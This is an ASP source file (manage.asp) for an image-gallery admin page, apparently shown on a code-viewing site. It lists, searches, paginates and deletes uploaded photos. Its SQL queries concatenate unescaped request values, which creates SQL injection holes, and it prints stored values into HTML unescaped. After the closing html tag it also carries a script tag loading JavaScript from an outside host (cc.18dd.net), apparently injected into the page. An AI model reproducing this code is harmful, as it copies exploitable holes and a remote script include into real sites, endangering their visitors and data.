📄 manage.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<%
classname=request("classname")
title=request("title")
sql="select a.titleID,a.titleName,a.ClassName,a.user,b.id,a.updatetime,b.photo,b.Recomm,b.PhotoNum from title as a,imgbook as b where b.titleID=a.titleID"
if classname<>"" then sql=sql&" and a.ClassName='"&classname&"'"
if title<>"" then sql=sql&" and (a.Desc like '%"&title&"%' or b.content like '%"&title&"%' or a.user like '%"&title&"%' or a.titleName like '%"&title&"%')"
if session("flag")<>0 then sql=sql&" and a.user='"&session("admin")&"'"
sql=sql&" order by a.updatetime desc,b.ID desc"
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<link href="../style/css.css" rel="stylesheet" type="text/css">
<script language="JavaScript">
function ChangeClass()
{
this.location.href="manage.asp?classname="+document.form2.classname.value;
}
function unselectall()
{
if(document.myform.chkAll.checked){
document.myform.chkAll.checked = document.myform.chkAll.checked&0;
}
}
function CheckAll(form)
{
for (var i=0;i<form.elements.length;i++)
{
var e = form.elements[i];
if (e.Name != "")
e.checked = form.chkAll.checked;
}
}
function ConfirmDel(){
if(confirm("确定要删除选中的图片吗？本操作是无法恢复的！"))
return true;
else
return false;
}
</script>
<style type="text/css">
<!--
.style1 {
color: #FF0000;
font-weight: bold;
}
-->
</style>
</head>
<body leftmargin="0" topmargin="0">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<form name="form2" method="post">
<td width="17%" align="center" bgcolor="#799AE1" style="border-bottom: 1 solid #000000">
<select name="classname" onChange="ChangeClass();">
<% sql1="select classname from classname"
set rs1=conn.execute(sql1)
%>
<option value="">请选择一个分类</option>
<%do while not rs1.eof %>
<option <%if classname=rs1("classname") then%>selected<%end if%> value="<%=rs1("classname")%>" ><%=rs1("classname")%></option>
<%rs1.movenext
loop
rs1.close
set rs1=nothing
%>
</select> </td></form>
<td colspan="4" align="center" bgcolor="#799AE1" style="border-bottom: 1 solid #000000"><font color="#FF0000"><%=session("admin")%></font> <%if session("flag")<>0 then%>
管理自己上传的图片
<%else%>
正在管理所有图片
<%end if%> </td>
<form name="form3" method="post" action="manage.asp">
<td width="29%" colspan="2" bgcolor="#799AE1" style="border-bottom: 1 solid #000000">
查找
<input name="title" type="text" id="title" size="8">
的图片
<input type="submit" name="Submit" value="确定">
</td> </form>
</tr>
</table>
<table width="98%" border="0" align="center" cellpadding="6" cellspacing="0">
<form action="delete.asp" method="post" name="myform" onsubmit="return ConfirmDel();"><tr>
<td width="20">ID</td>
<td width="133" height="20"> 图片标题</td>
<td width="85"><div align="center">缩略图</div></td>
<td width="83"><div align="center">上传日期</div></td>
<td width="100"><div align="center">推荐</div></td>
<td width="88"><div align="center"><font color="#FF0000">上传人</font></div></td>
<td width="176" align="center">操作</td>
</tr>
<%
set rs=server.CreateObject("adodb.recordset")
rs.open sql,conn,1,1
rs.pagesize=10
rs.cachesize=10
currentpage=Clng(request("page"))
if currentpage<1 then currentpage=1
if currentpage>rs.pagecount then currentpage=rs.pagecount
rs.absolutepage=currentpage
Do While Not rs.Eof %>
<tr>
<td><input name="id" type="checkbox" id="id" value="<%=rs("ID")%>" onclick="unselectall()"></td>
<td height="20"><a href="../img.asp?id=<%=rs("ID")%>&title=<%=rs("titleName")%>" target=_blank class="black"><%=rs("titleName")%></a></td>
<td height="20"><div align="center"><script src="../showpic.asp?location=manage&FileName=<%=rs("photo")%>"></script></div></td>
<td height="20"><div align="center"><%=formatdatetime(rs("updatetime"),2)%></div></td>
<td height="20" align="center">
<%if rs("Recomm") then%>
<span class="style1">√</span>
<%else%>
<strong>×</strong>
<%end if%></td>
<td height="20"><div align="center"><font color="#FF0000"><%=rs("user")%></font></div></td>
<td height="20" align="center"><a href="setRec.asp?rec=1&ID=<%=rs("id")%>&page=<%=currentpage%>" class="black">推荐</a> | <a href="setRec.asp?rec=0&ID=<%=rs("id")%>&page=<%=currentpage%>" class="black">不推荐</a> | <a href="modify.asp?id=<%=rs("id")%>&Num=<%=rs("PhotoNum")%>&page=<%=currentpage%>&titleID=<%=rs("titleID")%>&user=<%=rs("user")%>" class="black">修改</a> | <a href="delete.asp?id=<%=rs("ID")%>&titleID=<%=rs("titleID")%>&page=<%=currentpage%>" class="black">删除</a></td>
</tr>
<%
i=i+1
rs.MoveNext
If i>=rs.pagesize Then Exit Do
Loop %>
<tr>
<td height="20" align="center"><input name="chkAll" type="checkbox" id="chkAll" value="1" onclick=CheckAll(this.form)></td>
<td height="20">选中本页所有图片</td>
<td height="20" colspan="5" style="padding-left: 20px;"><input type="submit" name="Submit3" value="删除选中的图片"></td>
</tr>
</form>
</table>
<form name="form1" method="post" action="manage.asp">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td><div align="center">共有图片:<font color=red><%=rs.recordcount%></font> 张,<%=rs.pagecount%>页
<%if currentpage>1 then%>
<a href="manage.asp?classname=<%=classname%>&title=<%=title%>" class="black">首页</a> <a href=manage.asp?page=<%=currentpage-1%>&classname=<%=classname%>&title=<%=title%> class="black">
上一页</a>
<%end if%>
<%if currentpage<rs.pagecount then%>
<a href="manage.asp?page=<%=currentpage+1%>&classname=<%=classname%>&title=<%=title%>" class="black">下一页</a> <a href=manage.asp?page=<%=rs.pagecount%>&classname=<%=classname%>&title=<%=title%> class="black">尾页</a>
<%end if%>
第
<input name="page" type="text" id="page" value="<%=currentpage%>" size="4">
页
<input type="submit" name="Submit2" value="转到">
每页显示<%=rs.pagesize%>张 </div></td>
</tr>
</table>
</form>
</body>
</html>
<%
set rs=server.CreateObject("adodb.recordset")
sql="select titleID,titleCount,clickCount from title order by titleID desc"
rs.open sql,conn,1,3
do while not rs.eof
set rs1=conn.execute("select count(*),sum(click) from imgbook where titleID="&cint(rs("titleID")))
rs(1)=cint(rs1(0))
rs(2)=cint(rs1(1))
rs.update
rs.movenext
rs1.close
loop
set rs1=nothing
rsclose
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from title where titleCount=0",conn,1,3
do while not rs.eof
rs.delete
rs.update
rs.movenext
loop
rsclose
ConnClose()
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -